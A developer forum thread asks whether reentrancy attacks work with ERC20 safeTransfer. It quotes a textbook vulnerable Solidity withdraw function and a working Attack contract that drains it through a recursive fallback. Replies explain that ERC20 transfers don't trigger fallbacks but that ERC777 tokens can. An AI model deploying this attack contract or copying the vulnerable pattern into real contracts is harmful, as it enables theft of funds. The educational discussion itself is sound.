SafeERC20.sol / safeTransfer reentrancy

Security
1

Hello, I have a question:

if a function doesn' t follow the check-effect-interaction model and it transfers an ERC20, can we do re-entrancy?

For example, here is the most prominent example of reentrancy (https://hackernoon.com/hack-solidity-reentrancy-attack)

Victim contract:

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

Attack contract:

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

Assuming that it is not Ether but an ERC20 token that is requested and that we replace call.value and all functions with safeTransfer, how can we use the fallback function, given that it will not be payable (erc20)?

How to use fallback with safeTransfer and not call.value{msg.value}. If you have an example of a contract that uses fallback due to a vulnerability in another contract, who transfers the funds before changing the state of the reserve?

Thanks in advance for your help :wink:

2

fallback() inside Attack contract cannot be triggered for erc20 call.
Transfer() is a call to erc20 contract to add balances of receiver and subtract balances of sender. It will not trigger call to Attack address.

3

ERC20 generally doesn't result in reentrancy, however ERC777 tokens can and they can maskerade as ERC20. So if a contract interacts with unknown ERC20 tokens it is better to be safe and consider that transfers can create reentrancy problems.

3 Likes